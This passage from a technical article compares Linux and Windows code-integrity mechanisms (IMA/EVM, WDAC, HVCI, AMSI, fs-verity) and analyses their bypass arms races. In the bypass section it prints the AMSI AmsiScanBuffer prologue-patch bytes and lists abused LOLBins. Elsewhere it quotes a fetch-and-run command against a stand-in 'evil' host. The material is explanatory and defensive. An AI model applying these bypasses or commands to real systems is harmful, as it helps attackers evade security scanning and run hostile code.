&lt;p&gt;Each pivot moved the trust boundary outward in a different direction. EVM moved the integrity root from &quot;xattr next to the file&quot; to &quot;HMAC-keyed xattr, key sealed to TPM PCRs&quot;. HVCI moved the kernel-mode verifier from &quot;in the kernel the attacker can patch&quot; to &quot;in a secure kernel the attacker cannot reach without breaking the hypervisor&quot;. IPE moved the per-access decision from &quot;recompute a file&apos;s hash&quot; to &quot;look up a precomputed property&quot;. Fs-verity collapsed the per-access cost from O(n) on the file to O(log n) on a Merkle path.&lt;/p&gt;
&lt;p&gt;The crypto was already strong. The breakthrough was the geometry of where the verifier lived.&lt;/p&gt;
&lt;p&gt;By 2020 both stacks looked dramatically different from their 2009 and 2015 originals. Here is what each one looks like today, side by side.&lt;/p&gt;
&lt;h2&gt;6. The stack today, side by side&lt;/h2&gt;
&lt;p&gt;Eleven moving parts. Here is how they line up.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Linux&lt;/th&gt;
&lt;th&gt;Windows&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;IMA appraise + EVM&lt;/td&gt;
&lt;td&gt;App Control (WDAC) UMCI&lt;/td&gt;
&lt;td&gt;User-mode code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel module signing&lt;/td&gt;
&lt;td&gt;App Control + HVCI driver enforcement&lt;/td&gt;
&lt;td&gt;Kernel-mode code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fs-verity + dm-verity&lt;/td&gt;
&lt;td&gt;HVCI page-level W^X + signed catalogues&lt;/td&gt;
&lt;td&gt;Page-level integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppArmor / SELinux&lt;/td&gt;
&lt;td&gt;(no direct analogue; closest is AppContainer / ASR)&lt;/td&gt;
&lt;td&gt;Mandatory access control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fapolicyd&lt;/td&gt;
&lt;td&gt;App Control + AppLocker&lt;/td&gt;
&lt;td&gt;User-space allowlist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPE&lt;/td&gt;
&lt;td&gt;App Control (FilePath / hash rules)&lt;/td&gt;
&lt;td&gt;Property-based code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(no direct analogue)&lt;/td&gt;
&lt;td&gt;AMSI&lt;/td&gt;
&lt;td&gt;Script content scan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(no direct analogue)&lt;/td&gt;
&lt;td&gt;Smart App Control + ISG&lt;/td&gt;
&lt;td&gt;Cloud reputation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The mapping is not 1-to-1 in either direction. Linux composes; Windows consolidates. To compare meaningfully we have to look at each layer in turn.&lt;/p&gt;
&lt;h3&gt;6.1 Code-integrity enforcers: IMA + EVM vs WDAC vs IPE&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Linux IMA + EVM&lt;/th&gt;
&lt;th&gt;WDAC (App Control)&lt;/th&gt;
&lt;th&gt;IPE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Enforcement layer&lt;/td&gt;
&lt;td&gt;VFS / LSM hook (file open, mmap, exec)&lt;/td&gt;
&lt;td&gt;PE loader (kernel CI, user-mode CI)&lt;/td&gt;
&lt;td&gt;LSM hook on &lt;code&gt;op=EXECUTE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identity primitive&lt;/td&gt;
&lt;td&gt;File-content hash or &lt;code&gt;imasig&lt;/code&gt; / &lt;code&gt;modsig&lt;/code&gt; / &lt;code&gt;sigv3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authenticode chain, hash, FilePath, or ISG&lt;/td&gt;
&lt;td&gt;dm-verity root hash / fs-verity digest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Policy expression&lt;/td&gt;
&lt;td&gt;Procedural rules (&lt;code&gt;func=&lt;/code&gt; / &lt;code&gt;mask=&lt;/code&gt; / &lt;code&gt;fsmagic=&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Signed XML compiled to binary &lt;code&gt;.p7b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Signed plain-text DFA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worst-case per-access&lt;/td&gt;
&lt;td&gt;O(n) hash on first access; O(1) cached&lt;/td&gt;
&lt;td&gt;O(1) cached; O(n) hash on cache miss&lt;/td&gt;
&lt;td&gt;O(1) (properties precomputed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fail-closed mode&lt;/td&gt;
&lt;td&gt;Yes (appraise)&lt;/td&gt;
&lt;td&gt;Yes (enforced)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote-attestation friendly&lt;/td&gt;
&lt;td&gt;Yes (TPM PCR 10)&lt;/td&gt;
&lt;td&gt;Indirect (Measured Boot logs)&lt;/td&gt;
&lt;td&gt;Indirect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bypass arms race&lt;/td&gt;
&lt;td&gt;Whole-disk swap (countered by EVM key sealing)&lt;/td&gt;
&lt;td&gt;LOLBins (Microsoft block list + community LOLBAS)&lt;/td&gt;
&lt;td&gt;Limited surface (DFA-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The IMA policy ABI [@kernel-org-testing-imapolicy] documents the full rule grammar: &lt;code&gt;action [condition ...]&lt;/code&gt; where action is one of &lt;code&gt;measure | dont_measure | appraise | dont_appraise | audit | dont_audit | hash | dont_hash&lt;/code&gt;, and conditions select on &lt;code&gt;func=&lt;/code&gt;, &lt;code&gt;mask=&lt;/code&gt;, &lt;code&gt;fsmagic=&lt;/code&gt;, &lt;code&gt;fsuuid=&lt;/code&gt;, &lt;code&gt;uid=&lt;/code&gt;, &lt;code&gt;fowner=&lt;/code&gt;, LSM-label predicates, and the all-important &lt;code&gt;appraise_type=&lt;/code&gt; modifier that names the signature scheme. IMA template management [@docs-kernel-org-ima-templateshtml] controls &lt;em&gt;what&lt;/em&gt; gets recorded per measurement-list entry; the two templates used in practice today are &lt;code&gt;ima-ng&lt;/code&gt; (&lt;code&gt;d-ng|n-ng&lt;/code&gt;: hash-algo-prefixed digest plus name) and &lt;code&gt;ima-sigv2&lt;/code&gt; (&lt;code&gt;d-ngv2|n-ng|sig&lt;/code&gt;: versioned digest plus name plus signature).&lt;/p&gt;
&lt;p&gt;WDAC&apos;s policy rule reference [@learn-microsoft-com-to-create] defines the rule kinds operators actually write: Publisher, PcaCertificate, LeafCertificate, FileName, Version, Hash (SHA-1, SHA-256, or SHA-384), FilePath (added in 1903 and explicitly weaker because a user with write access can substitute the file), Managed Installer, and Intelligent Security Graph. The compiled output is a signed binary &lt;code&gt;.p7b&lt;/code&gt; CIPolicy.&lt;/p&gt;
&lt;p&gt;The same doc records the default-on audit-mode behaviour that has surprised many operators: &quot;We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them ... By default, only kernel-mode binaries are restricted. Enabling the following rule option validates user mode executables and scripts.&quot; The Enabled:UMCI flag is what flips a WDAC policy from kernel-only to full user-mode enforcement.&lt;/p&gt;

flowchart LR
  PE[PE load request] --&amp;gt; AC[Parse Authenticode signature]
  AC --&amp;gt; RM[Match rule set]
  RM --&amp;gt; P[Publisher / cert rule?]
  P --&amp;gt;|hit| AL[Allow]
  P --&amp;gt;|miss| H[Hash rule?]
  H --&amp;gt;|hit| AL
  H --&amp;gt;|miss| FP[FilePath rule?]
  FP --&amp;gt;|hit| AL
  FP --&amp;gt;|miss| MI[Managed Installer?]
  MI --&amp;gt;|hit| AL
  MI --&amp;gt;|miss| ISG[Intelligent Security Graph?]
  ISG --&amp;gt;|hit| AL
  ISG --&amp;gt;|miss| DEF[Default action]
  AL --&amp;gt; BL{&quot;In bypass-list deny?&quot;}
  BL --&amp;gt;|yes| BLK[Block]
  BL --&amp;gt;|no| LOAD[Loader continues]
  DEF --&amp;gt; BLK
&lt;h3&gt;6.2 Mandatory access control: AppArmor vs SELinux&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;AppArmor&lt;/th&gt;
&lt;th&gt;SELinux&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Model&lt;/td&gt;
&lt;td&gt;Path-based allowlist per binary&lt;/td&gt;
&lt;td&gt;Type-enforcement on subject x object x class&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storage of policy state&lt;/td&gt;
&lt;td&gt;In-memory DFA loaded from user space&lt;/td&gt;
&lt;td&gt;&lt;code&gt;security.selinux&lt;/code&gt; xattr + compiled &lt;code&gt;policy.31&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Granularity&lt;/td&gt;
&lt;td&gt;Profile per executable&lt;/td&gt;
&lt;td&gt;Per-type, per-class, per-operation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Survives file rename&lt;/td&gt;
&lt;td&gt;No (path is the identity)&lt;/td&gt;
&lt;td&gt;Yes (xattr travels with inode)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default-on distros&lt;/td&gt;
&lt;td&gt;Ubuntu, openSUSE, SLES&lt;/td&gt;
&lt;td&gt;RHEL, Fedora, Oracle Linux, Android, ChromeOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authoring tools&lt;/td&gt;
&lt;td&gt;&lt;code&gt;aa-genprof&lt;/code&gt;, &lt;code&gt;aa-logprof&lt;/code&gt;, &lt;code&gt;aa-enforce&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;audit2allow&lt;/code&gt;, &lt;code&gt;semodule&lt;/code&gt;, refpolicy, &lt;code&gt;udica&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;AppArmor&apos;s kernel documentation [@docs-kernel-org-lsm-apparmorhtml] describes the model directly: &quot;AppArmor is MAC style security extension for the Linux kernel. It implements a task centered policy, with task &apos;profiles&apos; being created and loaded from user space.&quot; A profile reads like a rule file rather than a label algebra:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/sbin/nginx {
  capability net_bind_service,
  /etc/nginx/** r,
  /var/log/nginx/* w,
  /var/www/** r,
  network inet stream,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel compiles each profile to a DFA at load time, so policy lookup is O(L) in path length. SELinux&apos;s compiled policy uses a hash-table query against compiled type-enforcement rules with an in-memory access-vector cache for O(1) hot decisions. Both are practical; they differ on which model fits the way an administrator thinks. AppArmor wins on auditability and quick authoring; SELinux wins on expressiveness and on what the Wikipedia summary [@en-wikipedia-org-security-enhancedlinux] calls Mandatory Access Control for multi-level security. Smack [@schaufler-ca-com] is a third in-tree LSM, simpler than SELinux, used heavily by Tizen.&lt;/p&gt;

Red Hat&apos;s `fapolicyd` is the answer for operators who want App Control-style allowlisting without rebuilding the kernel. Trust is inherited from the RPM database; the daemon sits on the kernel&apos;s `fanotify` permission channel and answers ALLOW or DENY on every `open` and `exec`. Per the RHEL hardening guide [@access-redhat-com-fapolicydsecurity-hardening], rule files in `/etc/fapolicyd/rules.d/` are concatenated in lexicographic order into `compiled.rules`. The Red Hat-shipped numbered prefixes are 10 (language interpreters), 20 (dracut), 21 (updaters), 30 (patterns), 40/41/42 (ELF), 70 (trusted languages), 72 (shell), 90 (deny-execute), 95 (allow-open). First-match-wins evaluation means operators adding custom rules must give their file a number lower than 90 to ensure their `allow` is reached before the catch-all deny.
&lt;h3&gt;6.3 Hypervisor-anchored CI: HVCI&lt;/h3&gt;
&lt;p&gt;HVCI&apos;s runtime cost is dominated by the hypercall round-trip from VTL0 to VTL1 on driver load and on each executable-page allocation. Steady-state overhead is small on hardware with the right capabilities.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s HVCI documentation [@learn-microsoft-com-code-integrity] names the dependency: &quot;Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance.&quot; Practitioner-visible rule of thumb: less than 5 percent overhead on MBEC/GMET-capable silicon, 10 to 20 percent on kernel-bound workloads when the CPU has to emulate.&lt;/p&gt;
&lt;p&gt;HVCI hardware prerequisites per the OEM VBS guidance [@learn-microsoft-com-oem-vbs]: 64-bit CPU with virtualization extensions (VT-x or AMD-V), second-level address translation (EPT or RVI), an IOMMU (VT-d or AMD-Vi), TPM 2.0, UEFI MAT, Secure MOR v2, and ideally MBEC (Intel) or GMET (AMD).&lt;/p&gt;
&lt;h3&gt;6.4 Script-level inspection: AMSI vs Linux&apos;s gap&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;AMSI&lt;/th&gt;
&lt;th&gt;Linux IMA on scripts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;What it sees&lt;/td&gt;
&lt;td&gt;Deobfuscated script buffer at execution time&lt;/td&gt;
&lt;td&gt;Whole-file content at &lt;code&gt;open&lt;/code&gt; or &lt;code&gt;mmap&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coverage&lt;/td&gt;
&lt;td&gt;PowerShell, WSH, VBA, JScript, MSHTA, UAC installers, .NET, Edge&lt;/td&gt;
&lt;td&gt;Any file whose &lt;code&gt;func=FILE_CHECK&lt;/code&gt; rule matches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Provider model&lt;/td&gt;
&lt;td&gt;COM &lt;code&gt;IAntimalwareProvider&lt;/code&gt; per process&lt;/td&gt;
&lt;td&gt;None; kernel verifies signature directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defends against runtime obfuscation&lt;/td&gt;
&lt;td&gt;Yes (sees final buffer)&lt;/td&gt;
&lt;td&gt;No (sees file as written)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust boundary&lt;/td&gt;
&lt;td&gt;Wrong (in-process; patchable by attacker)&lt;/td&gt;
&lt;td&gt;Right (kernel-side; attacker cannot patch)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The asymmetry is the point. AMSI sees what the interpreter is about to evaluate; IMA sees only what is on disk. AMSI catches in-memory PowerShell payloads, Office macros that decode themselves at runtime, and &lt;code&gt;Invoke-Expression&lt;/code&gt; evaluations that never touched the filesystem. IMA&apos;s hash is final at file write time and tells you exactly nothing about what &lt;code&gt;bash -c &quot;$(curl evil)&quot;&lt;/code&gt; will execute.&lt;/p&gt;

The reduced PowerShell language mode App Control forces on systems with UMCI enabled. It blocks reflection (the `[System.Reflection]` namespace), dynamic-type creation, and arbitrary .NET API calls. It is the runtime-side complement to App Control: even if a script gets in, its evaluation surface is dramatically reduced. This is also what makes the `amsiInitFailed` flag-flip bypass non-trivial under modern App Control: the reflection needed to set the flag is blocked.
&lt;h3&gt;6.5 Cloud reputation: Smart App Control&lt;/h3&gt;
&lt;p&gt;Smart App Control [@learn-microsoft-com-business-appcontrol] ships as a pre-baked WDAC policy bundled with Windows 11 22H2 and later. The App Control overview describes it as the consumer-facing entry point introduced in Windows 11 version 22H2 to bring application control to home users. On every fresh install SAC starts in &lt;em&gt;evaluation&lt;/em&gt; mode for 48 hours. Microsoft&apos;s cloud reputation service silently observes the user&apos;s app inventory; on enterprise-managed devices SAC auto-disables at the end of the window unless the user explicitly opts in. Once disabled by user, policy, or the auto-disable rule, it can only be re-enabled by performing a clean install of Windows. A Settings &amp;gt; Reset This PC is not sufficient.&lt;/p&gt;

Three quirks operators must understand. First, evaluation lasts 48 hours and is silent. Second, enterprise-managed (Intune, AAD-joined, GPO-managed) devices auto-disable at evaluation end. Third, disable is one-way: there is no &quot;restart evaluation&quot; path. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. Consumers with a small app footprint and no IT team get a cloud-driven allowlist for free; everyone else is expected to author a policy.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Once Smart App Control is off on a device, it can only be re-enabled by performing a clean install of Windows. A Settings &amp;gt; Reset This PC does not re-enable SAC. Treat enabling SAC as a deployment decision, not a casual toggle.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.6 fs-verity as the per-file Merkle layer&lt;/h3&gt;
&lt;p&gt;For the data-at-rest performance story, fs-verity&apos;s &lt;code&gt;ioctl(FS_IOC_ENABLE_VERITY)&lt;/code&gt; builds the Merkle tree, persists it next to the file, and switches the file to read-only. &lt;code&gt;FS_IOC_MEASURE_VERITY&lt;/code&gt; returns the digest in constant time. IMA&apos;s policy language gained &lt;code&gt;appraise_type=sigv3&lt;/code&gt; and the &lt;code&gt;digest_type=verity&lt;/code&gt; modifier so a rule like&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;appraise func=BPRM_CHECK fsmagic=0xef53 appraise_type=sigv3 digest_type=verity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;asks the filesystem for the file&apos;s fs-verity digest (O(1)) and verifies the kernel-stored signature over that digest, rather than re-hashing the file even on first access. Supported on ext4, f2fs, and btrfs.&lt;/p&gt;
&lt;p&gt;Eleven mechanisms, two architectures, one shared shape: an allowlist of trusted producers plus a hook that can refuse to honour anything outside it. The allowlist of producers is the deepest common assumption, and it is also where the next class of attacks lives.&lt;/p&gt;
&lt;h2&gt;7. Bypass arms races&lt;/h2&gt;
&lt;p&gt;Every code-integrity system on the market is in a continuous fight with the bypass it shipped with. The fights tell you what each architecture got wrong.&lt;/p&gt;
&lt;h3&gt;The AMSI bypass family&lt;/h3&gt;
&lt;p&gt;The three single-shot techniques from Section 4 -- prologue patch, &lt;code&gt;amsiInitFailed&lt;/code&gt; flag flip, library unload -- have all been answered by partial mitigations. Microsoft has hardened AMSI provider loading [@learn-microsoft-com-interface-portal] to require Authenticode-signed provider DLLs from Windows 10 1903 onward. Defender ships ETW-based detection that flags in-memory patches to &lt;code&gt;amsi.dll&lt;/code&gt;. Constrained Language Mode (forced by App Control) blocks the reflection needed to flip &lt;code&gt;AmsiUtils.amsiInitFailed&lt;/code&gt;. None of these closes the structural problem. AMSI is by design a function call inside the script host. As long as the host process is the trust boundary, the attacker who reaches the host process wins.&lt;/p&gt;

The trust boundary is wrong: the host process making the AMSI call is the same process the attacker is running in.

The simplest in-memory patch overwrites `AmsiScanBuffer`&apos;s prologue with a six-byte sequence that loads `AMSI_RESULT_CLEAN` (0) into EAX and returns:&lt;pre&gt;&lt;code&gt;xor eax, eax    ; 31 C0
ret             ; C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or, depending on the calling convention the patcher targets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov eax, 0x80070057   ; B8 57 00 07 80   (HRESULT E_INVALIDARG)
ret                   ; C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both variants are detected by modern Defender via the ETW patch detection, but neither requires kernel privileges or a syscall to apply.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;The WDAC LOLBin arms race&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s App Control bypass list [@learn-microsoft-com-bypass-appcontrol] is a maintained document that any non-trivial WDAC policy must merge into its deny rules. The 40-plus entries include &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Build.dll&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;addinutil.exe&lt;/code&gt;, &lt;code&gt;aspnet_compiler.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;wsl.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, and &lt;code&gt;webclnt.dll&lt;/code&gt; / &lt;code&gt;davsvc.dll&lt;/code&gt;. The community LOLBAS index [@lolbas-project-github-io] widens the field to roughly 200 entries with MITRE ATT&amp;amp;CK technique IDs.&lt;/p&gt;
&lt;p&gt;Tooling (the WDAC Wizard, AaronLocker, Microsoft&apos;s &lt;code&gt;ConfigCI&lt;/code&gt; PowerShell module, &lt;code&gt;CiTool.exe&lt;/code&gt;) automates merging the deny set into a base policy and onto Intune. The asymmetry is the bottom line: trust granted at signer granularity, exploitation at binary granularity. The deny list is not a fix; it is a treadmill.&lt;/p&gt;

A trusted binary, often shipped by the OS vendor and signed by the vendor&apos;s code-signing certificate, that an attacker re-purposes to bypass an allowlist or to perform actions that would be blocked if attempted with non-vendor tooling. Examples on Windows: `mshta.exe` to evaluate HTA scripts, `regsvr32.exe` to execute a remote scriptlet, `installutil.exe` to run code via a designed-for-development assembly loader.
&lt;h3&gt;fapolicyd permissive-window&lt;/h3&gt;
&lt;p&gt;This is not a cryptographic bypass; it is the architectural choice (userspace daemon over &lt;code&gt;fanotify&lt;/code&gt;) showing its operational seam. A privileged operator who sets &lt;code&gt;permissive=1&lt;/code&gt; to debug a noisy rule and forgets to revert has silently disabled enforcement. If the daemon dies under load or after a bad rule deploy, the kernel waits for the fanotify response timeout and then fails open. There is no failsafe equivalent of HVCI&apos;s &quot;the verifier is in another address space&quot; guarantee.&lt;/p&gt;
&lt;h3&gt;IMA / EVM offline-key attacks&lt;/h3&gt;
&lt;p&gt;EVM is only as strong as its key custody. If the HMAC key is loaded from a file on disk (the worst-case configuration), an attacker with root on a running system can read it, then perform the offline-rewrite attack of Section 4 with a valid &lt;code&gt;security.evm&lt;/code&gt; HMAC. TPM-sealed keys close this path on hardware that supports sealing; some installations skip the seal step &quot;until we add a TPM&quot; and never do. Asymmetric (EVM portable signatures) mode avoids on-box key custody but requires a per-package signing pipeline most distributions have not built.&lt;/p&gt;
&lt;h3&gt;The cross-stack symmetry&lt;/h3&gt;
&lt;p&gt;Both lineages obey two architectural rules, and both have at least one place where they break each rule:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass class&lt;/th&gt;
&lt;th&gt;Linux instance&lt;/th&gt;
&lt;th&gt;Windows instance&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;th&gt;Partial mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Verifier shares address space with attacker&lt;/td&gt;
&lt;td&gt;(script interpreters; no in-kernel interpreter scanner)&lt;/td&gt;
&lt;td&gt;AMSI prologue patch, &lt;code&gt;amsiInitFailed&lt;/code&gt; flag flip&lt;/td&gt;
&lt;td&gt;Software-only protection of an in-process secret is impossible&lt;/td&gt;
&lt;td&gt;ETW patch detection, signed providers, Constrained Language Mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust grant coarser than exploit unit&lt;/td&gt;
&lt;td&gt;RPM trust pre-fapolicyd integrity-mode addition&lt;/td&gt;
&lt;td&gt;WDAC Publisher rules + LOLBins&lt;/td&gt;
&lt;td&gt;Trust algebra cannot express &quot;Microsoft except mshta&quot; with one rule&lt;/td&gt;
&lt;td&gt;Hash-level denies, growing block list&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reference value reachable by attacker&lt;/td&gt;
&lt;td&gt;IMA without EVM&lt;/td&gt;
&lt;td&gt;(HVCI moved the kernel verifier out of reach)&lt;/td&gt;
&lt;td&gt;Reference value next to the file under attacker control&lt;/td&gt;
&lt;td&gt;EVM HMAC sealed to TPM PCR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verifier is killable&lt;/td&gt;
&lt;td&gt;fapolicyd daemon failure&lt;/td&gt;
&lt;td&gt;(HVCI verifier is hypervisor-isolated)&lt;/td&gt;
&lt;td&gt;Verifier liveness is part of the trust assumption&lt;/td&gt;
&lt;td&gt;TPM-sealed boot policy + kernel-mode fallback&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The first row is the most uncomfortable for both stacks. Linux does not have an AMSI-equivalent in production, so there is no in-kernel hook that sees the buffer an interpreter is about to evaluate; the boundary is not &quot;wrong&quot;, it simply does not exist. Windows has the hook and has paid for the consequences of putting it in the wrong place for ten years. Neither result is good.&lt;/p&gt;
&lt;p&gt;The lesson from both rows of pivots is consistent: when an architecture is forced to put the verifier somewhere reachable, treat its output as telemetry rather than control, and budget for the bypass.&lt;/p&gt;
&lt;p&gt;These are not implementation bugs. They are structural features of the architectures, and to understand why, we have to look at what computer science says is and is not possible.&lt;/p&gt;
&lt;h2&gt;8. What the theory says&lt;/h2&gt;
&lt;p&gt;Three impossibility results bound everything in this article. Two are decades old; the third is a property of how modern interpreted languages execute.&lt;/p&gt;
&lt;h3&gt;Rice&apos;s theorem&lt;/h3&gt;
&lt;p&gt;Rice&apos;s 1953 theorem says that any non-trivial semantic property of an arbitrary program is undecidable from the program text alone. Applied to malware: there is no algorithm that takes a binary as input and returns &quot;malicious&quot; or &quot;benign&quot; in finite time for every input.&lt;/p&gt;
&lt;p&gt;Every code-integrity stack on the market therefore reduces to the same shape: an &lt;em&gt;allowlist&lt;/em&gt; of producers (signers, hashes, dm-verity roots) the operator chooses to trust, plus a hook that refuses to honour anything outside the allowlist. Defender, ClamAV, the AMSI scanner -- all the things we call &quot;malware detectors&quot; -- are heuristic add-ons running on top of an allowlist substrate, and they are explicitly fallible. They have to be.&lt;/p&gt;
&lt;h3&gt;No software-only protection of an in-process secret&lt;/h3&gt;
&lt;p&gt;The second result is operational, not formal, but it is no less binding. If process P holds a secret S, and process P also evaluates code C the attacker chose, then no purely software-side technique inside P can keep C from reading or rewriting S.&lt;/p&gt;
&lt;p&gt;AMSI&apos;s design violates this: the scanner is a function call inside the script host, and the attacker is running code in the script host. HVCI&apos;s entire architecture exists to relocate the kernel-mode code-integrity verifier out of the host&apos;s address space, into a secure kernel the attacker cannot reach with normal kernel privileges. EVM&apos;s design likewise moves the integrity-defining key into a kernel keyring sealed to TPM PCRs so an offline attacker with disk access cannot reach it.&lt;/p&gt;
&lt;h3&gt;No verification of dynamically generated executable code&lt;/h3&gt;
&lt;p&gt;The third result is the gap on both operating systems. JIT-compiled code (V8, JVM, CLR), libffi closures, and anonymous &lt;code&gt;mmap&lt;/code&gt; followed by &lt;code&gt;mprotect(PROT_EXEC)&lt;/code&gt; all produce executable bytes that did not exist on disk and were never hashed.&lt;/p&gt;
&lt;p&gt;The IPE documentation [@docs-kernel-org-lsm-ipehtml] lists this as an explicit limitation: a property-based check on the file the JIT compiled does not authenticate the bytes the JIT emitted. WDAC&apos;s User-Mode Code Integrity has the same gap for managed runtimes that emit IL at runtime. There is no production answer on either side; there are only mitigations: disable JITs where possible, run them in restricted runtimes (Constrained Language Mode), block the trampolines.The JIT gap is one reason both stacks ship &quot;Constrained Language Mode&quot;-style restricted-runtime options. PowerShell&apos;s Constrained Language Mode blocks reflection and dynamic-type creation; the JVM&apos;s &lt;code&gt;--module-path&lt;/code&gt; and module-system encapsulation play a similar role for hosted Java code; the CLR&apos;s AppContainer and the .NET Core trim modes lean the same way. None of these &quot;verify&quot; the JIT output; they restrict what the runtime is willing to emit.&lt;/p&gt;
&lt;h3&gt;Cryptographic bounds&lt;/h3&gt;
&lt;p&gt;The cryptographic side, by contrast, is closed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Any preimage-resistant hash needs $\Omega(n)$ work on the data being hashed. You cannot verify a file you do not read.&lt;/li&gt;
&lt;li&gt;A Merkle tree with leaf size $k$ over a file of size $n$ reduces this to $O(\log(n/k))$ per partial read. The classic Merkle 1979 construction underlies dm-verity, fs-verity, and the Android APK Signature Scheme v4. &lt;strong&gt;fs-verity matches this lower bound.&lt;/strong&gt;&lt;/li&gt;
